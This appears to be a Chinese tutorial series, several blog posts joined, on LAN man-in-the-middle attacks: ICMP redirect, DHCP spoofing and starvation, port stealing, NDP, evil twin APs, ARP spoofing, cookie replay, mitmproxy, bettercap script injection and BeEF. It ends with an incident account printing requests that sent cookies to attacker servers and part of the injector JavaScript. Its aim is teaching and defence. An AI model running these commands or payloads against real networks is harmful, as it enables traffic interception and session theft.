ICMP重定向攻击

ICMP的全称为Internet Control Message Protocol，即网络控制报文协议，被封装在IP层数据中。它是TCP/IP协议族的一个附属协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。

ICMP原理

ICMP报文主要分为4个部分，分别是类型（type），代码（code），校验和（checksum）和对应类型的数据报（datagram）。type为0-16，如我们常用的ping命令就基于ICMP协议，type为8（echo ping request）。而code字段为0-5，通常路由器无法转发IP报文时会给源头发送方发送ICMP目的不可到达报文，code代表发送失败的原因，如0代表net unreachable,1代表host unreachable等等。下图是一个简要的概述，协议详情可以查看RFC792。

ICMP攻击方法

由于ICMP协议中有重定向的报文类型，那么我们就可以伪造一个ICMP信息然后发送给局域网中的客户端，并伪装自己是一个更好的路由通路。从而导致目标所有的上网流量都会发送到我们指定的接口上，达到和ARP欺骗同样的效果。我们接收到客户端的流量后，经过玩耍再将其转发给真正的网关就可以了。

以ettercap举例实现如下：

ettercap  -i wlan0 -Tq -M icmp:11:22:33:44:55/192.168.1.1 

其中11:22:33:44:55为网关MAC地址，192.168.1.1为网关IP，运行后将会重定向所有经过指定网关的链接。当然也可以指定target。

值得一提的是，ICMP重定向攻击是半双工的，只有客户端被重定向了。也就是说我们只能得到目标到路由器的外出流量，而无法得到路由器到目标的流量。原因是网关不接受同一内网的重定向请求信息。另外要注意在我们进行中间人活动的时候，不要修改payload的长度，原因也是因为tcp数据无法双向更新。

DHCP攻击

DHCP相信大家都不会陌生，其全称为Dynamic Host Configuration Protocol，动态主机配置协议。作为局域网的一个网络协议，主要作用是给内网客户端自动分配IP地址。其中DHCP server的端口号为67，DHCP client端口号为68，采用UDP协议通讯。

DHCP请求过程

客户端连接到一个局域网后，第一件事就是向网关（DHCP server）请求分配一个可用的IP地址，具体的交互过程如下：

1. DHCP Client以广播的方式发出DHCP Discover报文。
2. 所有的DHCP Server都能够接收到DHCP Client发送的DHCP Discover报文，所有的DHCP Server都会给出响应，向DHCP Client发送一个DHCP Offer报文。
3. DHCP Offer报文中“Your(Client) IP Address”字段就是DHCP Server能够提供给DHCP Client使用的IP地址，且DHCP Server会将自己的IP地址放在“option”字段中以便DHCP Client区分不同的DHCP Server。DHCP Server在发出此报文后会存在一个已分配IP地址的纪录。
4. DHCP Client只能处理其中的一个DHCP Offer报文，一般的原则是DHCP Client处理最先收到的DHCP Offer报文。
5. DHCP Client会发出一个广播的DHCP Request报文，在选项字段中会加入选中的DHCP Server的IP地址和需要的IP地址。
6. DHCP Server收到DHCP Request报文后，判断选项字段中的IP地址是否与自己的地址相同。如果不相同，DHCP Server不做任何处理只清除相应IP地址分配记录；如果相同，DHCP Server就会向DHCP Client响应一个DHCP ACK报文，并在选项字段中增加IP地址的使用租期信息。
7. DHCP Client接收到DHCP ACK报文后，检查DHCP Server分配的IP地址是否能够使用。如果可以使用，则DHCP Client成功获得IP地址并根据IP地址使用租期自动启动续延过程；如果DHCP Client发现分配的IP地址已经被使用，则DHCP Client向DHCPServer发出DHCP Decline报文，通知DHCP Server禁用这个IP地址，然后DHCP Client开始新的地址申请过程。
8. DHCP Client在成功获取IP地址后，随时可以通过发送DHCP Release报文释放自己的IP地址，DHCP Server收到DHCP Release报文后，会回收相应的IP地址并重新分配。
9. 在使用租期超过某个时刻处，DHCP Client会以单播或者广播形式向DHCP Server发送DHCPRequest报文来续租IP地址。

DHCP攻击方法

由于一个局域网内可以有多个DHCP服务器，因此我们可以伪装成一个DHCP服务器，在目标发出DHCP请求的时候,抢先为其提供一个合法的IP地址，这样攻击者就能操纵GW参数并且监控和修改外出的流量。注意DHCP方式的攻击也是半双工的，和ICMP一样不能修改payload长度。

在本机运行dhcp-server很简单，但是要使得DHCP Offer和DHCP ACK要比网关要快才行，为此有两种策略：

一. 加快自己的DHCP服务器响应速度

ettercap就是这么做的，其不检测IP是否已经分配就立刻响应Client的DHCP Request请求，因此我们要确保分配的ip池是完全可用的：

ettercap -i wlan0 -Tq -M dhcp:192.168.1.150,160-200/255.255.255.0/192.168.1.1

其中192.168.1.150,160-200为ip池，255.255.255.0为子网掩码，192.168.1.1为DNS服务器，这个命令会响应DHCP Offer和Request，如果想只响应DHCP Request，可以不指定ip池。

二. 减慢原DHCP服务器的响应速度

由于DHCP服务器会响应所有的DHCP请求，我们可以伪造来自不同MAC地址的DHCP Discover或者Request报文使得原来的DHCP服务器耗尽其ip池，甚至由于忙着响应大量的DHCP请求而陷入瘫痪：

yersinia dhcp -attack 1 -interface wlan0

其中-attack 1表示一直发送discover请求来对DHCP服务器进行拒绝服务（DOS）攻击。当然也可以用其他小工具如dhcpstarv来耗尽网关的DHCP服务器IP池。这时再打开我们的DHCP server并使目标断开重新连接，这样目标自然就只能获得我们分配的IP了。

端口盗用攻击

端口盗用（Port Stealing）技术常用来在当交换网络不能进行ARP欺骗（例如固定ARP映射）的时候进行嗅探。在网关为交换机的情况下，虽然无法进行传统的ARP欺骗（即MAC-IP欺骗），但交换机上同样维护着一个MAC缓存表，可以动态更新。

为此我们了解一下交换机的工作过程：首先交换机内部有一个Port-to-MAC的的缓存表，记录着每一个端口下存在着哪些MAC地址。这个表一开始是空的，并从来往数据帧中学习和更新。比如PortA端口对应的HostA发送了一个数据，那么HostA的物理地址MACA就会被记录下来，并且在交换机的Port-to-Mac缓存表中增加一条记录。随后所有发往MACA的数据都会从PortA输出。

与传统的ARP欺骗类似，只不过不同点是我们要污染的是交换机的Port-MAC缓存表。由于该表是动态更新的，我们可以伪造源MAC地址不断向网关发送数据包，来更新交换机的缓存表，当数据足够多时，原来的PortA-MACA记录就会被冲掉。其结果是交换机会把发给MACA的数据洪泛发送给所有端口，当然也包括攻击者拥有的端口，从而达到截取目标会话的目的。用ettercap实现如下：

ettercap -i wlan0 -Tq -M port /192.168.1.1/ /192.168.1.104/

该命令将截取192.168.1.1和192.168.1.104之间的所有流量，但也同时会接收到两者的所有流量。端口盗用的方法只能截获流量而不能对其进行修改，并且只能工作于以太网交换机上。值得注意的是，该方法会对局域网的网络性能造成比较明显的影响，需要谨慎使用。

NDP攻击

NDP(Neighbor Discovery Protocol)是IPv6协议的一个重要组成，取代了IPv4的ARP，ICMP路由发现和重定向功能。在IPv6中使用NDP来发现直接相连的邻居信息，包括邻接设备的设备名称、软/硬件版本、连接端口等，另外还可提供设备的ID、端口地址、硬件平台等信息。支持NDP设备都维护NDP邻居信息表(neighbor cache)，邻居信息表中的每一表项都是可以老化的，一旦老化时间到，NDP自动删除相应的邻居表项。同时，用户可以清除当前的NDP信息以重新收集邻接信息。

因此，我们通过给目标发送ND requests/replies报文，来污染目标的邻居信息表，从而达到伪装成网关的目的，例如：

ettercap -i wlan0 -Tq -M ndp:remote //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

其中地址分别为网关和目标的IPv6地址。当然目前对IPv6的推广还不普及，但随着IPv4地址耗尽，最终普及IPv6也只是一个时间过程罢了。针对IPv6的攻击也有待发掘。

邪恶的孪生AP攻击(Evil Twin AP)

上面介绍的几种中间人攻击方法都有一个共同的前提，即要求我们和目标在同一个局域网之中。然而有时候我们无法入侵内网，比如WiFi用了WPA/WPA2 PSK + 强口令的方式加密，且有意识地关闭了WPA等一些有漏洞的功能。这时想要破解进入其局域网显然不太可能，但是仍然可以对内网中的客户端进行中间人攻击。

攻击原理

这就要说到我们网络设备自动连接WiFi的过程，要决定是否连接一个AP，首先会看其是否曾经连接过。AP的特征往往通过ESSID，BSSID和加密方式来进行判断，因此我们只要能在本机建立一个相同ESSID，相同MAC地址以及相同加密方式的AP，并且信号强度大于原AP，那么客户端就很有可能优先连接上我们的假AP。这时只要在本地给目标非配号DHCP地址和DNS服务器，再进行流量转发，就可以神不知鬼不觉地对其进行中间人攻击了。

实现过程

Evil Twin AP的实现过程和传统的“钓鱼热点”大同小异，不同在于钓鱼热点往往是不加密的，以期不明真相的路人进行连接，数据广撒网的攻击。而孪生AP则更有针对性，比如怀疑邻居浏览虐童网站或者进行恐怖活动，就需要对其进行监听采证，然后向警察叔叔举报。当然，要注意自己的安全。 具体实现过程我分为三步：

建立Fake AP

这里使用aircrack-ng工具集来进行操作，关于aircrack-ng的基本用法可以参考我之前写的WIFI密码破解笔记，首先选择一个网络接口， 将其设置为混杂模式：

airmon-ng start wlan0

假设混杂模式（monitor）的无线接口为mon0，我们可以用其建立一个AP：

airbase-ng -P -a $ap_mac -e $ap_name -c $channel mon0

其中-a指定AP的BSSID（即MAC地址），-e指定AP的名称（ESSID）， -c指定信道。全部指定和待攻击的AP一样则会建立一个Evil Twin AP，否则建立的是一个开放的AP，设置好后运行ifconfig应该会看到一个at0的虚拟网络接口，即我们的AP。

打开本地DHCP服务器

这时候如果目标连接上了我们的AP，当然是上不了网的，甚至连动态IP也获取不了，因此要先设置好我们的DHCP Server。根据DHCP Server工具不同，配置文件 的路径也会有点不一样，一般是/ect/dhcp/dhcpd.conf，修改IP池范围，子网掩码，DNS服务器地址，如果有需要也可以修改lease时间。改好后运行：

ifconfig at0 up 192.168.2.1 netmask 255.255.255.0 

重新设置at0的地址和掩码，其中192.168.2.1是我们的假AP地址，然后添加一条路由记录：

route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1

启动（或重启）DHCP Server：

    service isc-dhcp-server restart

这样目标连接上我们的WIFI后就可以分配到一个192.168.2.0/24中的IP地址了（IP池内）。

开启转发

转发用到iptables，我在ARP欺骗与中间人攻击中已经介绍过了，这里就不再赘述，具体命令如下：

iptables -t nat -A POSTROUTING -o wlan0 -s 192.168.2.0/24 -j MASQUERADE

目的是把192.168.2.0/24子网内的流量转发到能上网的接口上，这里是wlan0。值得一说的是，wlan0开启了混杂模式又要转发，对网络性能可能有点影响，最好是额外有个网卡，或者是有线（eth0）。然后用aireplay-ng对目标进行短暂的掉线重连，就有可能连上我们的AP了。当然这只是最基本的功能，为实现最好效果，我们可以加大假AP的发射功率，要提高网络性能也可可以优化iptables转发规则，限于篇幅就不再细说。

后记

通过介绍了几种常见协议，也介绍了几种相应的中间人攻击方法。虽然现在协议对安全的关注越来越多，但不论如何总要在速度和安全性做出折衷。新的协议部署和推广都需要一段很长的时间，即便有了安全的协议也仍然会有各种无法避免的漏洞。更何况如果局域网内主机的通讯都像防贼一样重重加密，那也有点得不偿失。其实中间人攻击的手段还有很多，要懂得发动自己的想象力。比如通过钓鱼或者路由器漏洞的方式获得路由器密码，这样通过修改路由配置，就成为真正的“中间人了”，而这也是我最喜欢的一种方式。

抓取Cookie本地重现

在我搜索中间人攻击相关主题的时候，发现国内博客提及比较多的cookie盗取所用的软件是ferret&hamster，hamster这个软件是在2007年黑客大会上Robert Graham展示用来方便在浏览器中快速重现所捕捉到的会话的，其中ferret用来扑捉数据或者对已经扑捉的.pcap数据进行格式化处理，生成一个txt文件，然后用hamster来读取这个txt并且在本机启动一个代理服务器，只要浏览器设置了相对应的地址（本机地址）和端口的代理进行访问就能看见所有截获的http会话了。由于这个软件年代久远，而且只是在大会上做个demo，并不是很完善的产品，因此也有比较大的不稳定性，即便如此在如今还是在各种博客里被屡屡提及，所以我也简单介绍下这个工具的使用。

hamster和ferret可以到官网http://hamster.erratasec.com下载，但最近似乎没有更新了，毕竟快是十年前的东西。我是直接在robert的github上下载的c++源代码，总体功能并不复杂，就当学习一下大神的coding方法了。有一点值得一提，hamster用的是32位的库，因此自己如果是64位操作系统，编译或者运行都需要安装ia32-libs以及一些使用到的非标准库，同时源代码要进行简单的修改。为了方便我连同依赖直接fork到了这里。

再说使用方法，其实这倒是最简单的，关键就三步：

1. 抓取指定端口的数据

2. 用ferret格式化解析本地数据

ferret -r file.pcap  //生成hamster.txt

3. hamster打开本地代理服务器，默认端口是1234

hamster  //在和hamster.txt相同目录下打开

然后打开浏览器，设置代理为127.0.0.1:1234，打开http://hamster就能看到所扑捉的所有会话了，如果有cookie信息，也能直接还原出来。其中第一步可以用任何抓包工具来做，也可以用ferret -i来抓包，这样的话1、2步也可以合并成一步。

中间人代理

HTTP/HTTPS代理服务器有很多，比如Fiddler2，burpsuite和mitmproxy等工具都可以建立一个代理服务器。代理服务器往往用来辅助web开发和调试，当然也能用于渗透测试即中间人攻击。其中比较轻量级的是mitmproxy，用python编写而成，可以很容易进行拓展和定制。

mitmproxy进行HTTPS代理的过程和我在细说中间人攻击（一）的最后一节讲的大同小异，简而言之就是mitmproxy本身与服务器和客户端双向进行SSL链接，当然前提是mitmproxy使用的证书要被信任，不然客户端进行https访问的时候浏览器地址栏会有个不信任证书的提醒。

下面介绍一下mitmproxy工具集中几个常用工具的使用方法。

mitmproxy

mitmproxy是一个交互式的流量监控和分析工具，其操作界面的控制方式类似于vim。直接命令行打开：

mitmproxy -p 1234

会在本地打开一个代理服务器，端口号为1234。也可以不指定，默认端口号是8080。然后使得目标通过你的这个代理上网，就能在交互界面中看到所有的POST和GET等请求。还可以指定任意一条请求回车进入查看详细的请求数据，也可以看tab切换respond和detail数据。对于respond的数据还可以根据格式来进行相应的展现。同时也能按e进行修改请求，然后按r进行回放。不得不说其可视化界面做得很好，所有的浏览请求一目了然。交互式的界面更适合用于请求的分析。mitmproxy作为一个“中间人”代理，当然也能对数据进行拦截，使用i指定拦截的表达式即可。

mitmdump

与mitmproxy相对的，mitmdump是一个非交互的抓包工具，不过还提供了用python脚本来对数据包进行修改替换的操作，有点类似于ettercap的filter插件。可以实时修改request和respond每一个细节，当然也可以非实时地对mitmproxy保存的离线包进行操作。

mitmdump -n -r capture.data -w output.data [filter]

其中capture.data是mitmproxy用w键保存的数据。mitmdump可以对其过滤处理产生新的包。[filter]是过滤的条件，如“~d douban.com“表示特定域名，~h表示特定header等等。对于新生成的数据包，我们也可以用mitmdump重播：

mitmdump -n -c output.data

libmproxy

mitmdump的一个主要作用是支持inline脚本，用–script调用，脚本中用到了mitmdump提供的拓展库libmproxy，就像其他python第三方库一样，不过其拥有操纵http响应每个细节的能力，实乃居家旅行必备。用法很简单：

mitmdump -s myscript.py -p 1234

如一个修改响应文字内容的inline脚本如下：

# Usage: mitmdump -s "modify_response_body.py mitmproxy bananas"
# (this script works best with --anticache)
from libmproxy.models import decoded


def start(context, argv):
    if len(argv) != 3:
        raise ValueError('Usage: -s "modify-response-body.py old new"')
    # You may want to use Python's argparse for more sophisticated argument
    # parsing.
    context.old, context.new = argv[1], argv[2]


def response(context, flow):
    with decoded(flow.response):  # automatically decode gzipped responses.
        flow.response.content = flow.response.content.replace(
            context.old,
            context.new)

这里需要注意的是不同版本的libmproxy的改动非常大！！我之前是直接apt-get下载的mitmproxy0.8，那时还没有libmproxy.models，所以要注意自己的版本。建议在github上clone最新版本，用pip+virturlenv进行包管理十分方便，目前最新版本是mitmproxy0.14.x，最新版还增加了一个mitmweb的工具，可见其更新速度非常快，这对开源工具来说是一件大好事。

另外在github仓库里还有inline脚本的example，文档也很齐全。除了inline调用以外，我们甚至可以使用libmproxy来自己用python写一个mitmproxy！而且实现起来也非常简单，因为mitmproxy本身大部分功能都是基于libmproxy里实现的。

“更好的ettercap”——bettercap

很多人可能会问，既然有了ettercap，干嘛还要再弄一个差不多的东西？其实按照bettercap作者的说法，ettercap虽然是个很棒的工具，但是已经过时了，而且似乎维护也是有气无力。ettercap在大型网络中相当不稳定，在操纵http的payload时往往还需要别的工具来辅助，比如上面提到的mitmproxy。因此bettercap就诞生啦！

bettercap的操作也十分简单明了，比如在局域网中嗅探所有数据：

bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

其中-P指定加载的parsers，也可以不指定，默认和ettercap一样全部加载。也可以将数据保存在本地：

bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

–sniffer-filter参数表示的意思很明显，即只保存目的端口为80的tcp数据（即http）。值得一提的是，这里没有指定网关和网络接口，因为 用的都是默认值，即当前网关和当前默认网卡，当然也可以分别用-G 和 -I 指定。

模块化的透明代理

上面讲mitmproxy的时候已经介绍了代理，而bettercap正好也可以实现类似的功能，在本地启动一个中间人代理服务器并且将数据流量都通过代理收发。

bettercap --proxy --proxy-port=1234

指定代理端口为1234，默认为8080。这条命令默认只记录http请求，如果指定–proxy-module参数就可以加载你自定义的模块来操纵流量。自定义的拓展模块用Ruby写成，语法很简单，比如一个修改网页title的例子hack_title.rb如下：

class HackTitle < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end  

调用方法

bettercap --proxy --proxy-module=hack_title.rb

内嵌http服务器

其实这个选项比较鸡肋，不过也是bettercap为了达到它所说的“只用一个工具”的效果吧。其主要用途就是给payload注入JS的时候需要从服务器去请求，bettercap可以配合proxy module很容易一步实现：

bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

其中inject.rb的代码如下：

class InjectJS < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.ifconfig[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
    end
  end
end  

目前bettercap的功能还比较简单，但优点是其更新维护非常快，可以说是日新月异，和ettercap等老古董形成鲜明对比呀:D

注: 新版本 bettercap 已经替换为 Golang 实现。

BeEF

BeEF全称为Browser Exploitation Framework，是一个著名的浏览器劫持框架，也是采用Ruby编写。虽然安装依赖的过程有点繁琐，但用起来着实简单无比， 只需要运行：

./beef

运行后会启动一个用户接口服务器和一个挂载BeEF主要JS脚本（hook.js）的服务器，其架构如下：

其中用户接口也是一个http服务器，我们只需要在浏览器中打开，就能进入一个展现所有被注入的客户机的管理后台。如果客户端浏览的某个网页payload中加载了hook.js，那么其一举一动都会发送到我们的UI服务器上，包括鼠标的点击事件，点击位置，键盘事件等等，查看cookie和客户端的机器信息更是不在话下：

针对每一台被劫持的客户端（浏览器），我们还可以对其发送不同的指令，比如播放音乐，锁住页面，打开web摄像头。值得一提的是，BeEF还能配合metasploit 来入侵目标的电脑，从而在目标关闭浏览器后依旧能拥有其计算机的控制权。

后记

中间人攻击的大致方法至此就介绍得差不多了，在总结的过程中自己也学了不少工具的的用法。虽然MITM的工具繁多，但明白其原理才能更好地去使用， 以及对其进行拓展。轮子是个好东西，人类只有几十年有效寿命和有限的精力，却能够不断发展到现在这样科技发达，靠的就是不断理解和使用轮子，把前人的推论当成定理，可以说人类社会的进步就是一个面向对象编程的过程。但是，也不用把别人的轮子看得过于神秘，说到底中间人也就是接收，解析，发送三步而已。

至于怎么防御这类攻击，最好的方法就是浏览器禁cookie，禁javascript，禁flash，最终还是得和个人的上网体验相权衡，毕竟如果把眼睛都蒙上了，还上什么网呢。

什么是ARP

ARP全称为Address Resolution Protocol，即地址解析协议。是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主 发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存；由此攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。

例如，在Linux命令行下:

$ arp -a

Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.1            ether    0A-11-22-33-44-01   C                     wlan0
192.168.1.2            ether    0A-11-22-33-44-02   C                     wlan0

可以看到局域网中其他客户端的内网地址和MAC地址。

工作过程

现假设主机A的IP地址为192.168.1.1，MAC地址为0A-11-22-33-44-01；主机B的IP地址为192.168.1.2，MAC地址为0A-11-22-33-44-02； 当主机A要与主机B通信时，地址解析协议可以将主机B的IP地址（192.168.1.2）解析成主机B的MAC地址，以下为工作流程：

• 第1步：根据主机A上的路由表内容，IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。
• 第2步：如果主机A在ARP缓存中没有找到映射，它将询问192.168.1.2的硬件地址，从而将ARP请求帧广 播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址 匹配。如果主机发现请求的IP地址与自己的IP地址不匹配，它将丢弃ARP请求。
• 第3步：主机B确定ARP请求中的IP地址与自己的IP地址匹配，则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
• 第4步：主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
• 第5步：当主机A收到从主机B发来的ARP回复消息时，会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的，生存期结束后，将再次重复上面的过程。主机B的MAC地址一旦确定，主机A就能向主机B发送IP通信了。

工作要素：ARP缓存

ARP缓存是个用来储存IP地址和MAC地址的缓冲区，其本质就是一个IP地址->MAC地址的对应表，表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。每一个以太网或令牌环网络适配器都有自己单独的表。

当地址解析协议被询问一个已知IP地址节点的MAC地址时，先在ARP缓存中查看，若存在，就直接返回与之对应的MAC地址，若不存在，才发送ARP请求向局域网查询。为使广播量最小，ARP维护IP地址到MAC地址映射的缓存以便将来使用。ARP缓存可以包含动态和静态项目。动态项目随时间推移自动添加和删除。每个动态ARP缓存项的潜在生命周期是10分钟。新加到缓存中的项目带有时间戳，如果某个项目添加后2分钟内没有再使用，则此项目过期并从ARP缓存中删除；如果某个项目已在使用，则又收到2分钟的生命周期；如果某个项目始终在使用，则会另外收到2分钟的生命周期，一直到10分钟的最长生命周期。静态项目一直保留在缓存中，直到重新启动计算机为止。

ARP欺骗与MITM

MITM，全称为Man In The Middle，即中间人。地址解析协议是建立在网络中各个主机互相信任的基础上的，它的诞生使得网络能够更加高效的运行，但其本身也存在缺陷。ARP地址转换表是依赖于计算机中高速缓冲存储器动态更新的，而高速缓冲存储器的更新是受到更新周期的限制的，只保存最近使用的地址的映射关 系表项，这使得攻击者有了可乘之机，可以在高速缓冲存储器更新表项之前修改地址转换表，实现攻击。ARP请求为广播形式发送的，网络上的主机可以自主发送 ARP应答消息，并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换表，这样攻击者就可以向目标主机发送伪ARP应答报文，从而篡改本地的MAC地址表。ARP欺骗可以导致目标计算机与网关通信失败，更会导致通信重定向，所有的数据都会通过攻击者的机器。攻击者再对目标和网关之间的数据进行转发，则可作为一个“中间人”，实现监听目标却又不影响目标正常上网的目的。

攻击实现

具体的中间人攻击，大体上可以分为以下几个步骤：

1. 对目标主机进行ARP欺骗，声称自己是网关。
2. 转发目标的NAT数据到网关，维持目标的外出数据。
3. 对网关进行ARP欺骗，声称自己是目标主机。
4. 转发网关的NAT数据到目标主机，维持目标的接收数据。
5. 监听劫持或者修改目标的进入和外出数据，从而实现攻击。

其中1，3都是ARP欺骗；2，4都是转发，下面会分别说到。

ARP欺骗

ARP欺骗又叫ARP投毒（ARP poisoning），实现方式有很多，但其原理都是通过不断向攻击目标发送ARP replies，从而实现重定向从一个主机（或所有主机）到另一个主机的数据包的目的。 这里以dsniff工具集的arpspoof命令为例：

$ arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

其中，
-i 指定使用的接口。
-c 指定当还原arp配置时t使用的MAC地址，默认为使用原来的MAC。（即当停止arpspoof命令后，默认取消毒化）
-t 指定要毒化的主机，如果不指定的话默认为局域网下所有主机。
-r 双向毒化（host和target），从而双向扑捉数据。（仅当同时指定 -t的时候才有效）
host 为你想要伪装成的主机，通常是本地网关。所有从target到host的数据包都被重定向到本机。

数据流转发

毒化了目标主机的ARP缓存表之后，其经过网关外出的数据流将会发送到攻击者的主机。但此时由于目的地址出错，目标主机对外的请求将无法到达，亦即无法访问互联网了。为了维持目标正常上网，需要我们在收到目标来的数据时将其进行转发到真正的网关。

首先开启端口转发，允许本机像路由器一样转发数据：

$ echo 1 > /proc/sys/net/ipv4/ip_forward

有时不能这样直接修改，还有另外一种方法

# 修改/etc/sysctl.conf文件，使得net.ipv4.ip_forward = 1；等于0为不转发。然后更新：
$ sysctl -p
# 或者直接
$ sysctl -w net.ipv4.ip_forward=1

此时本机收到的数据包含源地址和目的地址（外网地址），我们需要将其转发到网关。这里进行了（NAT）网络地址转换的功能，关于NAT可参考我前一篇文章P2P通信原理与实现：

$ iptables -t nat -A POSTROUTING -p tcp -s 192.168.1.0/24 -j SNAT --to-source 192.168.1.110

这条命令的作用是修改本机的转发规则，将所有从本机出去的源地址为192.168.1.XXX的数据包都修改为本机地址192.168.1.110
其中，
-t 指定要操作的表，这里是nat
-A 即--append，表示增加一条规则。nat有三个内建规则，分别是
　　PREROUTING，在数据包进入时改变其地址
　　POSTROUTING，在数据包将要出去时改变其地址
　　OUTPUT，在路由前改变本地产生的数据包地址
-p 表示数据包要检查的协议
-s 指定源地址。地址格式可以是网络名字，主机名字，IP地址或者是address/mask格式的网络地址。可以指定多个，-s前加!表示取补集
-j 指定规则的目标，即如果数据包符合规则该如何做；SNAT表示修改数据包的源地址，且此次链接的余下数据包都不再检查
--to-source 在SNAT选项下指定所转发数据包的新的源地址，这里设为192.168.1.110，即攻击者的地址

关于iptables的详细用途可以man iptables查看。上述命令描述了外出数据的转发规则，那么从外部来的数据要转发到被攻击主机上也是同理：

$ iptables -t nat -A PREROUTING -p tcp -d 192.168.1.110 -j DNAT --to 192.168.1.114

在本机转发之前将数据包目的地址为192.168.1.110的修改为192.168.1.114（被攻击主机），然后转发出去。

其他工具

上面为了说明原理，吧arp毒化和数据转发分开做，其实利用现有的工具，可以很简单地执行上面的工作，例如用ettercap：

$ ettercap -i wlan0 -Tq -M arp:remote /target/ /host/

一条命令即可完成arp毒化和转发的功能。其中-M表示指定MITM攻击。

后记

一旦中间人建立攻击成功，劫持了目标的上网流量，那么接下来也就为所欲为了。轻则监控目标的上网行为，就如同二十四小时站在你身后看你上网；或者劫持目标的cookie从而用目标的帐号登录诸如微博，人人，豆瓣等社交网站，浏览其隐私数据，进行发贴删贴等操作；重责进行钓鱼攻击，使目标下载恶意程序或者执行恶意脚本，从而威胁其计算机安全。当然，应对这种攻击的防范方法也有很多，最简单的一种就是绑定MAC地址，并且在网关MAC地址改变的时候发出提醒，从而防止ARP毒化攻击。还有就是最好不要在公共WiFi下浏览有重要隐私的网站，万一碰上不怀好意的人就在局域网中，那可就是真的“在阳光下行走”了。

某天晚上我忙于搭建网站的时候，在某个网站下面突然发现有个巨大的广告弹窗，上面是一张扫地机的图片。正好当时刚在淘宝上搜索过扫地机，对这种针对性广告也习以为常了，只是觉得这个弹窗有点大得诡异，不过当时正弄网站弄得头脑兴奋，于是也没在意。

然后过了一两天，在浏览网页的时候，遇见那个扫地机弹窗的频率也越来越频繁，真正引起我的警惕的是，在访问一些朋友的个人博客时，居然也有那个广告弹窗，而那个博客是肯定不会自己插入广告的。这时候我才意识到，我被黑了。由于技术水平限制，我还一时不知道是什么问题。莫非是被中毒了？由于我平时用的是Linux操作系统，所以并没在安全防护方面花费过多少心思，也许是被钻了漏洞，于是马上更新了最新版的浏览器，并且把操作系统的所有安全补丁也打上了。重启电脑之后以为肯定没问题，结果一上网就发现了那个可恶的弹窗。于是想到也许是被劫持了，查看了ARP发现网关的MAC地址和我记录的地址是一样的，然后查看DNS域名服务器：

cat /etc/resolv.conf

是上级NAT分配的域名服务器，似乎也没什么问题。于是先在浏览器上F12查看请求的详情，发现有几条奇怪的GET：

GET http://122.114.61.38/adjs/ad.js?undefined
GET http://211.149.216.27/fn_put/fishingnet2.jsp?siteID=2
GET http://122.114.61.38/fishingnet/js2log?jsurl=http://211.149.216.27/fn_put/fishingnet2.jsp?siteID=2

GET http://211.149.216.27/fn_put/put2.jsp?postfix=&siteID=2&isPC=false&accessUa=Mozilla/5.0%20(X11;%20Linux%20x86_64;%20rv:38.0)%20Gecko/20100101%20Firefox/38.0%20Iceweasel/38.3.0&accessIp=xx.xx.xx.xx&accessId=accessId_fnxxxxxxx&url=http%3A//iask.sina.com.cn/b/1mJivmlTavsb.html 

前面一条返回了广告弹窗的框架，并且嵌入到我正在浏览的窗口里。如果我点击了那个广告，就进入了一个钓鱼网站，至于我怎么知道的…… 因为看第二条，它的名字就叫fishingnet。如果只是钓鱼那也算了，因为我不去咬钩就没事，可注意最后一条，居然把我的Cookie上传到攻击者的服务器上了！真是相当恶毒啊，看样子已经不能说是恶作剧了。看看第一次GET得到的ad.js:

/* 2014-06-20T16:23:49.295Z */!function(e,t){

 if("undefined" == typeof location_sign)
  {
        location_sign = 'none';
  }

var myids = new Array();
myids['jfhome'] = '0';
myids['cdair'] = '1';
myids['shtt2'] = '2';
myids['cqair'] = '3';
myids['xjair'] = '4';
myids['dlair'] = '5';
myids['qdair'] = '6';
myids['bjcn'] = '7';
var siteid = '-1';
if(myids.hasOwnProperty(location_sign))
{
        siteid = myids[location_sign];
}

if(location_sign=='jfhome')
{
	var js = document.createElement('script');
	jsurl = "http://211.149.216.27:8080/fn_put/fishingnet2.jsp?siteID="+siteid;
	js.setAttribute('src',jsurl);
	document.body.appendChild(js);
}
else
{
	var js = document.createElement('script');
	jsurl = "http://211.149.216.27/fn_put/fishingnet2.jsp?siteID="+siteid;
